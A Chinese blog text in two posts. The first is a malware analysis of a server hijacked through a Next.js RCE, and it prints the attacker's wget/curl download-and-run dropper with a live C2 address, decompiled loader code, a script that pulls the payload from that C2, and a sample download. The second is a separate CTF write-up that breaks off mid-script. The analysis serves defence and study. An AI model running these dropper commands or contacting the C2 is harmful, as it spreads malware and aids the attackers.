记服务器因CVE-2025-66478,CVE-2025-55182被挂RCE的逆向分析经历 背景 周六傍晚休息的时候阿里云突然给打电话，说服务器可能受到黑客入侵。上阿里云控制台看了一眼： 担心的事情还是发生了，近期披露的CVE-2025-55182漏洞可以被RCE，服务器上运行的Umami统计工具使用了包含漏洞的Next.JS版本。早上的时候我手动更新了一下我的Umami，但是看起来官方还并未发布相关更新。服务器告警来源就是umami镜像，执行了一个远程的Shell脚本。 作为一个CTFer，这送上门的样本不研究一下说不过去吧（ 分析 脚本 阿里云给出的警告可以看到执行shell脚本： /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh 尝试手动下载下来那个python1.sh： export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) # 发现是根据CPU架构下载对应版本的ELF文件。 加载器 尝试手动下载上面脚本中的amd64架构的二进制，并通过IDA Pro打开： int __fastcall main(int argc, const char **argv, const char **envp) { struct hostent *v3; // rax in_addr_t v4; // eax int v5; // eax int v6; // ebx int v7; // r12d int v8; // edx _BYTE *v9; // rax __int64 v10; // rcx _DWORD *v11; // rdi _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF int optval; // [rsp+4h] [rbp-1474h] BYREF char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF if ( !access("/tmp/log_de.log", 0) ) exit(0); qmemcpy(name, "119.45.243.154", sizeof(name)); *(_QWORD *)&addr.sa_family = 4213178370LL; *(_QWORD *)&addr.sa_data[6] = 0LL; v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; v5 = socket(2, 1, 0); v6 = v5; if ( v5 >= 0 ) { optval = 10; setsockopt(v5, 6, 7, &optval, 4u); while ( connect(v6, &addr, 0x10u) == -1 ) sleep(0xAu); send(v6, "l64 ", 6uLL, 0); buf[0] = addr.sa_data[0]; buf[1] = addr.sa_data[1]; send(v6, buf, 2uLL, 0); send(v6, name, 0x20uLL, 0); v7 = syscall(319LL, "a", 0LL); if ( v7 >= 0 ) { while ( 1 ) { v8 = recv(v6, v19, 0x1000uLL, 0); if ( v8 <= 0 ) break; v9 = v19; do *v9++ ^= 0x99u; while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 ); write(v7, v19, v8); } v10 = 1024LL; v11 = v19; while ( v10 ) { *v11++ = 0; --v10; } close(v6); realpath(*argv, resolved); setenv("CWD", resolved, 1); argva[0] = "[kworker/0:2]"; argva[1] = 0LL; fexecve(v7, argva, _bss_start); } } return 0; } 分析发现主要的几个危险操作： v7 = syscall(319LL, "a", 0LL);，319是Linux x64架构下的memfd_create系统调用，用于在内存中创建匿名文件。随后，从目标服务器下载Payload，加载到这段内存中并执行 *v9++ ^= 0x99u;，将从服务器下载到的Payload按字节异或0x99，进行解密，可能是用于绕过防火墙 argva[0] = "[kworker/0:2]";，将本进程伪装成内核的kworker进程 其他操作： 通过检测是否存在日志文件/tmp/log_de.log，判断服务器是否已经被入侵，若已经被入侵则直接退出 连接C2服务器完成或失败后会间隔10秒再次尝试连接并加载Payload 从上述逆向代码可很明显的看出发马的服务器IP为119.45.243.154，但是端口没找到。分析一下设置端口部分的代码： *(_QWORD *)&addr.sa_family = 4213178370LL; 其中，4213178370LL(DEC)=0xFB200002(HEX)，因为是QWORD，即64位值，所以实际值为0x00000000FB200002。同时因为是小端序，所以实际存储在内存的offset中的格式是02 00 20 FB 00 00 00 00。 sockaddr在内存中的offset一般是： offset 0–1：sa_family（2 字节） offset 2–15：sa_data（14 字节） 也就是说，上述赋值语句实现了： offset 0: sa_family的低字节=0x02 offset 1: sa_family的高字节=0x00 offset 2: sa_data[0]=0x20 offset 3: sa_data[1]=0xFB offset 4..7: sa_data[2..5]=0x00 0x00 0x00 0x00 其中，sa_data[0..1]代表了端口，sa_data[2..5]代表IP。因为网络字节序为大端序，因此实际端口就是0x20FB，即8443。后面也可找到赋值IP的部分： v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; 编写一个Python脚本，按照这个加载器中的逻辑连接服务器并尝试加载Payload到ELF文件： import socket import time import os C2_HOST = "119.45.243.154" C2_PORT = 8443 OUTPUT_FILE = "payload.elf" def xor_decode(data): return bytes([b ^ 0x99 for b in data]) def main(): # 删除旧的文件 if os.path.exists(OUTPUT_FILE): os.remove(OUTPUT_FILE) while True: try: print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((C2_HOST, C2_PORT)) print("[+] Connected.") # Handshake s.send(b"l64 ") s.send(b"\x20\xfb") # fake port s.send(b"119.45.243.154".ljust(32, b"\x00")) print("[+] Handshake sent.") print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n") with open(OUTPUT_FILE, "ab") as f: while True: data = s.recv(4096) if not data: print("[-] C2 closed connection.") break decrypted = xor_decode(data) f.write(decrypted) print(f"[+] Received {len(data)} bytes, written to file.") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) except Exception as e: print(f"[-] Error: {e}") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) if __name__ == "__main__": main() 运行可得到一个ELF文件payload.elf。 Payload.elf 先丢到微步云沙箱里检测一下，发现确实是个木马： 但是沙箱并未检测出一些高危行为。问了一下Reverse方向的学长，把样本发给对方研究了一下发现是Golang编写的。使用GoReSym导出符号表，并加载进IDA Pro： \GoReSym.exe payload.elf > symbols.json 让AI编写一个IDA Pro的脚本导入符号表： import json import idc import idaapi import idautils # ⚠️ 修改这里：指向你刚才生成的 symbols.json 文件路径 json_path = r"D:\\Desktop\\symbols.json" def restore_symbols(): print("[-] Loading symbols from JSON...") try: with open(json_path, 'r', encoding='utf-8') as f: data = json.load(f) except Exception as e: print(f"[!] Error opening file: {e}") return # 1. 恢复用户函数 (UserFunctions) count = 0 for func in data.get('UserFunctions', []): start_addr = func['Start'] # 你的 JSON 里全是混淆名字，比如 shK3zqV.O86rtPRpp # 我们主要关心完整的 FullName full_name = func['FullName'] # 清理名称中 IDA 不喜欢的字符 safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_") # 尝试重命名 if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1: # 可选：如果重命名成功，尝试让 IDA 重新分析该处为代码 idc.create_insn(start_addr) idc.add_func(start_addr) count += 1 print(f"[+] Successfully renamed {count} functions.") if __name__ == "__main__": restore_symbols() 在IDA中通过File-Script file选择上述脚本即可导入符号表。同时，将符号表发给AI分析，发现存在一些对OSS存储桶的一些操作函数： (*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> 窃取或使用云凭证。 Bucket.PutObjectFromFile -> 上传文件（极可能是在窃取你服务器上的数据并上传到攻击者的 OSS Bucket）。 Bucket.DoPutObject -> 执行上传操作。 (*Config).LimitUploadSpeed / LimitDownloadSpeed -> 限制带宽占用，防止被你发现网络异常。 混淆后的包名 真实包/功能推测 证据 (Artifacts) 行为描述 ojQuzc_T Aliyun OSS SDK PutObjectFromFile, GetAccessKeySecret 连接阿里云 OSS，上传/下载文件，窃取凭证。 l2FdnE6 os/exec (命令执行) (*Ps1Jpr8w8).Start, StdinPipe, Output 执行系统命令。它在调用 Linux shell 命令。 qzjJr5PCHfoj os / 文件系统操作 Readdir, Chown, Truncate, SyscallConn 遍历目录、修改文件权限、读写文件。 PqV1YDIP godbus/dbus (D-Bus) (*Conn).BusObject, (*Conn).Eavesdrop 连接 Linux D-Bus。可能用于权限提升、监控系统事件或与 systemd 交互。 c376cVel0vv math/rand NormFloat64, Shuffle, Int63 生成随机数。常用于生成通信密钥或挖矿算法的随机性。 r_zJbsaQ net (网络底层) DialContext, Listen, Accept, SetKeepAlive 建立 TCP/UDP 连接，可能是 C2 通信或作为后门监听端口。 J9ItGl7U net/http2 http2ErrCode, WriteHeaders, WriteData 使用 HTTP/2 协议进行通信（可能用于隐藏 C2 流量）。 Otkxde ECC 密码学库 ScalarMult, Double, SetGenerator 椭圆曲线加密。可能是为了加密 C2 通信，或者是勒索软件的加密模块。 可推测一些可能的程序逻辑： 持久化与控制 (D-Bus & Net): 它尝试通过 PqV1YDIP 包连接 D-Bus，这在服务器恶意软件中较少见，可能试图劫持系统服务或监控管理员行为。 它通过 r_zJbsaQ 监听端口或反弹连接。 数据窃取 (Aliyun OSS): 它并没有将数据传回普通的 C2 服务器 IP，而是利用阿里云 OSS 作为“中转站”。这是一种非常聪明的做法，因为指向阿里云的流量通常会被防火墙视为白名单流量，很难被发现。 命令执行 (os/exec): 它包含完整的 Shell 执行能力 (l2FdnE6)，可以执行任意命令、下载脚本、修改文件权限。 可能的勒索或挖矿特征: 大量的数学运算库（Otkxde, HfBi9x4DOLl 等包包含大量的 Mul, Add, Square, Invert）暗示了它是 计算密集型 的。 如果是勒索软件：这些数学库用于生成密钥加密文件。 如果是挖矿木马：这些库用于计算哈希。结合它使用了 math/rand 的 Shuffle 和 NormFloat64，这符合某些挖矿算法（如 RandomX）的特征。 进一步分析，最终找到了这样一个函数UXTgUQ_stlzy_RraJUM： 丢给AI分析，结论是： 这是一个非常典型的 Golang 编写的 C2 (Command & Control) 指令分发函数。 结合你之前提供的“Linux 加载器”上下文，这个函数属于被那个加载器下载并执行的核心木马程序（Bot）。 1. 代码总览与定位 功能: 指令分发器 (Command Dispatcher)。这是木马的主循环逻辑之一，负责接收 C2 服务器发送的指令字符串，解析并执行对应的恶意功能。 安全机制: 函数开头有一个鉴权检查 if ( v18 == a2 && (unsigned __int8)sub_4035C0() )。如果校验失败，直接返回 "401 Not Auth"，说明该木马具有一定的反扫描或会话认证机制。 2. 指令集详细逆向 代码通过 switch ( a4 ) 判断指令字符串的长度，然后检查具体的内容。这里有大量的硬编码字符串和 Hex 值： Case 1 (单字符指令 - 基础控制) 这通常是早期版本残留或为了减少流量设计的简写指令： I: 调用 os_rename。功能：重命名文件。 E: 调用 os_removeAll。功能：删除文件/清理痕迹。 J: 返回 "0" 或未知。可能用于心跳检测或状态查询。 Z: 返回 "mysql_close\t1"。功能：数据库相关，推测该木马包含 MySQL 爆破或连接模块，此指令用于关闭连接。 H: 可能是获取主机信息 (Host Info)。 其他单字母 (A-Y): 分别调用了不同的子函数（如 sub_7CAF40 等），通常对应：开启代理、执行 Shell 命令、获取系统负载等。 Case 4 (四字符指令) Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT" 功能: 终止木马进程。 Case 8 (八字符指令 - 核心功能) 这是最关键的部分，暴露了木马的核心能力： Download Hex: 0x64616F6C6E776F44LL -> "Download" 功能: 下载器功能。从指定 URL 下载文件。 代码逻辑: 如果 a11 (回调函数或接口) 存在，它会调用并处理下载结果。 LocalRun Hex: 0x6E75526C61636F4CLL -> "LocalRun" 功能: 本地执行。可能是执行本地的一个 Shell 脚本或二进制文件。 Case 9 (九字符指令 - 高级攻击) InjectRun Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun" 功能: 内存注入执行。这是一个高级功能，配合你之前看到的 memfd_create，这通常指将 Payload 注入到其他进程或在内存中直接运行，不落地。 PluginRun Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun" 功能: 插件执行。说明该木马是模块化的，可以动态加载 .so 或 Go 的 plugin 模块来扩展功能（如加密货币挖矿、DDoS 攻击、端口扫描等）。 3. 响应构造逻辑 在 switch 结束后，代码有一段复杂的字符串拼接逻辑： *(_WORD *)v71 = 15917 -> ASCII | 和 } ? 或者特定的分隔符。 *(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII -。 结论: 木马会将命令执行的结果（如“OK”、“Error”或具体数据）用特定的分隔符（如 |<result>-）包裹后回传给 C2。 4. 总结与画像 结合上一段代码（Loader），我们可以对这个木马做一个完整的画像： 家族推测: 这种 InjectRun / PluginRun / LocalRun 的命名风格，以及 Golang 编写、支持模块化插件的特征，极有可能是 Spark 僵尸网络或者其变种（如 Sliver C2 修改版，但更像黑产自研的 Bot）。也有可能是 Sysrv-hello 挖矿蠕虫的变种（它们常混合使用 Go 和 Exploit）。 攻击链条: Loader: 也就是之前的那个 C 代码，负责环境判断、持久化、内存中下载 Bot。 Bot (本代码): 也就是这个 Go 程序，常驻内存。 Modules: 通过 PluginRun 动态下发挖矿模块 (XMRig) 或 DDoS 攻击模块。 Lateral Movement (横向移动): mysql_close 暗示它有扫描弱口令的能力，通过 InjectRun 感染内网其他机器。 总结 主要是感觉没什么继续分析的意义了，这个逻辑基本上可以判定是典型的Botnet，找到的IP有99%的概率都是被操控的僵尸机，去调查也没有意义。 主要还是总结一下教训，如何防止这类事情发生，对于我这种小规模的个人网站，爆出CVE最好立刻先停用有关一切服务，等确定修复的版本放出后再更新并重新启用 样本下载： Payload.zip 注：此样本未经任何处理，请勿在不加安全措施的情况下直接运行！ 密码20251206

2025羊城杯初赛WriteUp GD1 通过文件描述可知这是Godot Engine编写的游戏。使用GDRE工具打开，可找到游戏逻辑： extends Node @export var mob_scene: PackedScene var score var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101" func _ready(): pass func _process(delta: float) -> void : pass func game_over(): $ScoreTimer.stop() $MobTimer.stop() $HUD.show_game_over() func new_game(): score = 0 $Player.start($StartPosition.position) $StartTimer.start() $HUD.update_score(score) $HUD.show_message("Get Ready") get_tree().call_group("mobs", "queue_free") func _on_mob_timer_timeout(): var mob = mob_scene.instantiate() var mob_spawn_location = $MobPath / MobSpawnLocation mob_spawn_location.progress_ratio = randf() var direction = mob_spawn_location.rotation + PI / 2 mob.position = mob_spawn_location.position direction += randf_range( - PI / 4, PI / 4) mob.rotation = direction var velocity = Vector2(randf_range(150.0, 250.0), 0.0) mob.linear_velocity = velocity.rotated(direction) add_child(mob) func _on_score_timer_timeout(): score += 1 $HUD.update_score(score) if score == 7906: var result = "" for i in range(0, a.length(), 12): var bin_chunk = a.substr(i, 12) var hundreds = bin_chunk.substr(0, 4).bin_to_int() var tens = bin_chunk.substr(4, 4).bin_to_int() var units = bin_chunk.substr(8, 4).bin_to_int() var ascii_value = hundreds * 100 + tens * 10 + units result += String.chr(ascii_value) $HUD.show_message(result) func _on_start_timer_timeout(): $MobTimer.start() $ScoreTimer.start() 发现当得分到达7906时会调用一个解密算法，将数组a的数据解密然后打印。尝试按照逻辑编写解密程序： #include <iostream> #include <string> #include <bitset> using namespace std; int bin_to_int(const string &bin) { return stoi(bin, nullptr, 2); } string decodeBinaryString(const string &a) { string result; for (size_t i = 0; i + 12 <= a.length(); i += 12) { string bin_chunk = a.substr(i, 12); int hundreds = bin_to_int(bin_chunk.substr(0, 4)); int tens = bin_to_int(bin_chunk.substr(4, 4)); int units = bin_to_int(bin_chunk.substr(8, 4)); int ascii_value = hundreds * 100 + tens * 10 + units; result.push_back(static_cast<char>(ascii_value)); } return result; } int main() { string a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"; cout << decodeBinaryString(a) << endl; return 0; } 运行，得到Flag：DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS} 成功男人背后的女人 打开附件发现是一个图片，根据提示，猜测可能存在隐藏的图片或者其他内容。尝试使用binwalk、foremost都无果。最后查询资料可知用了Adobe Fireworks专有的协议，尝试打开即可发现隐藏图像： 将下方的符号按照二进制的方式组合得到： 01000100010000010101001101000011 01010100010001100111101101110111 00110000011011010100010101001110 01011111011000100110010101101000 00110001011011100100010001011111 01001101010001010110111001111101 8个一组解码： #include <iostream> #include <string> using namespace std; int main(){ string str="010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101"; for(int i=0;i<str.length();i+=8){ cout<<(char)stoi(str.substr(i,8).c_str(),nullptr,2); } return 0; } 运行得到：DASCTF{w0mEN_beh1nD_MEn} SM4-OFB 让AI分析一下加密过程并编写解密脚本： # 使用此代码进行本地运行或在本环境运行来恢复密文（SM4-OFB 假设下） # 代码会： # 1) 使用已知 record1 的明文和密文计算每个分块的 keystream（假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始） # 2) 用得到的 keystream 去解 record2 对应字段的密文，尝试去掉填充并输出明文（UTF-8 解码） # # 说明：此脚本**不需要密钥**，只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性（这是 OFB/CTR 的典型弱点） # 请确保安装 pycryptodome（如果需要对照加密进行验证），但此脚本只做异或操作，不调用加密库。 from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad def xor_bytes(a,b): return bytes(x^y for x,y in zip(a,b)) # record1 已知明文与密文（用户提供） record1 = { "name_plain": "蒋宏玲".encode('utf-8'), "name_cipher_hex": "cef18c919f99f9ea19905245fae9574e", "phone_plain": "17145949399".encode('utf-8'), "phone_cipher_hex": "17543640042f2a5d98ae6c47f8eb554c", "id_plain": "220000197309078766".encode('utf-8'), "id_cipher_hex": "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } # record2 仅密文（用户提供） record2 = { "name_cipher_hex": "c0ffb69293b0146ea19d5f48f7e45a43", "phone_cipher_hex": "175533440427265293a16447f8eb554c", "id_cipher_hex": "1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } BS = 16 # 分组长度 # 工具：把字段按 16 字节块切分 def split_blocks(b): return [b[i:i+BS] for i in range(0, len(b), BS)] # 1) 计算 record1 每个字段的 keystream（假设加密前用 PKCS#7 填充，然后按块 XOR） ks_blocks = {"name": [], "phone": [], "id": []} # name C_name = unhexlify(record1["name_cipher_hex"]) P_name_padded = pad(record1["name_plain"], BS) for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)): ks_blocks["name"].append(xor_bytes(c, p)) # phone C_phone = unhexlify(record1["phone_cipher_hex"]) P_phone_padded = pad(record1["phone_plain"], BS) for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)): ks_blocks["phone"].append(xor_bytes(c, p)) # id (可能为两块) C_id = unhexlify(record1["id_cipher_hex"]) P_id_padded = pad(record1["id_plain"], BS) for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)): ks_blocks["id"].append(xor_bytes(c, p)) print("Derived keystream blocks (hex):") for field, blks in ks_blocks.items(): print(field, [b.hex() for b in blks]) # 2) 使用上述 keystream 去解 record2 相应字段 def recover_field(cipher_hex, ks_list): C = unhexlify(cipher_hex) blocks = split_blocks(C) recovered_padded = b''.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list)) # 尝试去除填充并解码 try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception as e: recovered = None return recovered, recovered_padded name_rec, name_padded = recover_field(record2["name_cipher_hex"], ks_blocks["name"]) phone_rec, phone_padded = recover_field(record2["phone_cipher_hex"], ks_blocks["phone"]) id_rec, id_padded = recover_field(record2["id_cipher_hex"], ks_blocks["id"]) print("\nRecovered (if OFB with same IV/key and per-field restart):") print("Name padded bytes (hex):", name_padded.hex()) print("Name plaintext:", name_rec) print("Phone padded bytes (hex):", phone_padded.hex()) print("Phone plaintext:", phone_rec) print("ID padded bytes (hex):", id_padded.hex()) print("ID plaintext:", id_rec) # 如果解码失败，打印原始 bytes 以便人工分析 # if name_rec is None: # print("\nName padded bytes (raw):", name_padded) # if phone_rec is None: # print("Phone padded bytes (raw):", phone_padded) # if id_rec is None: # print("ID padded bytes (raw):", id_padded) # 结束 发现能够计算得到姓名和身份证号，再将Excel表中所有人名dump出来放到txt里，让AI写个脚本批量计算： #!/usr/bin/env python3 """ Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and one known plaintext/ciphertext pair is available (from record1). This script: - Reads an input file (one hex-encoded cipher per line). - Uses the known record1 name plaintext & ciphertext to derive the OFB keystream blocks for the name-field (keystream = C XOR P_padded). - XORs each input cipher with the derived keystream blocks to recover plaintext, removes PKCS#7 padding if present, and prints a line containing: <recovered_name>\t<cipher_hex> Usage: python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt Notes: - This assumes each name was encrypted as a separate field starting OFB from the same IV (so keystream blocks align for the name-field) and PKCS#7 padding was used before encryption. If names exceed the number of derived keystream blocks the script will attempt to reuse the keystream cyclically (warns about it), but ideally you should supply a longer known plaintext/ciphertext pair to derive more keystream blocks. - Requires pycryptodome for padding utilities: pip install pycryptodome Edit the KNOWN_* constants below if your known record1 values differ. """ import sys from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad # ----------------------- # ----- KNOWN VALUES ---- # ----------------------- # These are taken from the CTF prompt / earlier messages. Change them if needed. KNOWN_NAME_PLAIN = "蒋宏玲" # record1 known plaintext for name field KNOWN_NAME_CIPHER_HEX = "cef18c919f99f9ea19905245fae9574e" # record1 name ciphertext hex IV_HEX = "6162636465666768696a6b6c6d6e6f70" # the IV column (fixed) # Block size for SM4 (16 bytes) BS = 16 # ----------------------- # ----- Helpers --------- # ----------------------- def xor_bytes(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) def split_blocks(b: bytes, bs: int = BS): return [b[i:i+bs] for i in range(0, len(b), bs)] # ----------------------- # ----- Derive keystream from the known pair # ----------------------- def derive_keystream_from_known(known_plain: str, known_cipher_hex: str): p = known_plain.encode('utf-8') c = unhexlify(known_cipher_hex) p_padded = pad(p, BS) p_blocks = split_blocks(p_padded) c_blocks = split_blocks(c) if len(p_blocks) != len(c_blocks): raise ValueError('Known plaintext/cipher block count mismatch') ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)] return ks_blocks # ----------------------- # ----- Recovery -------- # ----------------------- def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks): c = unhexlify(cipher_hex.strip()) c_blocks = split_blocks(c) # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically if len(c_blocks) > len(ks_blocks): print("[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically" % (len(c_blocks), len(ks_blocks)), file=sys.stderr) recovered_blocks = [] for i, cb in enumerate(c_blocks): ks = ks_blocks[i % len(ks_blocks)] recovered_blocks.append(xor_bytes(cb, ks)) recovered_padded = b''.join(recovered_blocks) # Try to unpad and decode; if fails, return hex of raw bytes try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception: try: recovered = recovered_padded.decode('utf-8') except Exception: recovered = '<raw:' + recovered_padded.hex() + '>' return recovered # ----------------------- # ----- Main ----------- # ----------------------- def main(): if len(sys.argv) != 2: print('Usage: python3 sm4_ofb_batch_decrypt_names.py <names_cipher_file>', file=sys.stderr) sys.exit(2) inpath = sys.argv[1] ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX) with open(inpath, 'r', encoding='utf-8') as f: for lineno, line in enumerate(f, 1): line = line.strip() if not line: continue # Assume each line is one hex-encoded name ciphertext (no spaces) try: recovered = recover_name_from_cipher_hex(line, ks_blocks) except Exception as e: recovered = '<error: %s>' % str(e) print(f"{recovered}\t{line}") if __name__ == '__main__': main() 搜索，发现与何浩璐对应的密文是c2de929284bff9f63b905245fae9574e，再去Excel里搜这串密文对应的身份证号的密文，得到：1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c，再用上面那个脚本解出来：120000197404101676，计算md5：fbb80148b75e98b18d65be446f505fcc即为Flag。 dataIdSort 将需求丢给AI，让AI写了个脚本： #!/usr/bin/env python3 # coding: utf-8 """ 功能： - 从 data.txt 中按顺序精确提取：身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。 - 严格遵循《个人信息数据规范文档》，优化正则表达式和匹配策略以达到高准确率。 - 所有匹配项均保留原始格式，并输出到 output.csv 文件中。 """ import re import csv from datetime import datetime # ------------------- 配置 ------------------- INPUT_FILE = "data.txt" OUTPUT_FILE = "output.csv" DEBUG = False # 设置为 True 以在控制台打印详细的接受/拒绝日志 # 手机号前缀白名单 ALLOWED_MOBILE_PREFIXES = { "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159", "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145", "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153", "173", "174", "177", "180", "181", "189", "190", "191", "193", "199" } # --------------------------------------------- # ------------------- 校验函数 ------------------- def luhn_check(digits: str) -> bool: """对数字字符串执行Luhn算法校验。""" s = 0 alt = False for char in reversed(digits): d = int(char) if alt: d *= 2 if d > 9: d -= 9 s += d alt = not alt return s % 10 == 0 def is_valid_id(raw: str): """校验身份证号的有效性（长度、格式、出生日期、校验码）。""" sep_pattern = r'[\s\-\u00A0\u3000\u2013\u2014]' s = re.sub(sep_pattern, '', raw) if len(s) != 18 or not re.match(r'^\d{17}[0-9Xx]$', s): return False, "无效的格式或长度" try: birth_date = datetime.strptime(s[6:14], "%Y%m%d") if not (1900 <= birth_date.year <= datetime.now().year): return False, f"无效的出生年份: {birth_date.year}" except ValueError: return False, "无效的出生日期" weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights)) expected_check = check_map[total % 11] if s[17].upper() != expected_check: return False, f"校验码不匹配: 期望值 {expected_check}" return True, "" def is_valid_phone(raw: str) -> bool: """校验手机号的有效性（长度和号段）。""" digits = re.sub(r'\D', '', raw) if digits.startswith("86") and len(digits) > 11: digits = digits[2:] return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES def is_valid_bankcard(raw: str) -> bool: """校验银行卡号的有效性（16-19位纯数字 + Luhn算法）。""" if not (16 <= len(raw) <= 19 and raw.isdigit()): return False return luhn_check(raw) def is_valid_ip(raw: str) -> bool: """校验IPv4地址的有效性（4个0-255的数字，不允许前导零）。""" parts = raw.split('.') if len(parts) != 4: return False # 检查是否存在无效部分，如 '01' if any(len(p) > 1 and p.startswith('0') for p in parts): return False return all(p.isdigit() and 0 <= int(p) <= 255 for p in parts) def is_valid_mac(raw: str) -> bool: """校验MAC地址的有效性。""" # 正则表达式已经非常严格，这里仅做最终确认 return re.fullmatch(r'([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', raw, re.IGNORECASE) is not None # ------------------- 正则表达式定义 ------------------- # 模式的顺序经过精心设计，以减少匹配歧义：优先匹配格式最特殊的。 # 1. MAC地址：格式明确，使用冒号分隔。 mac_pattern = 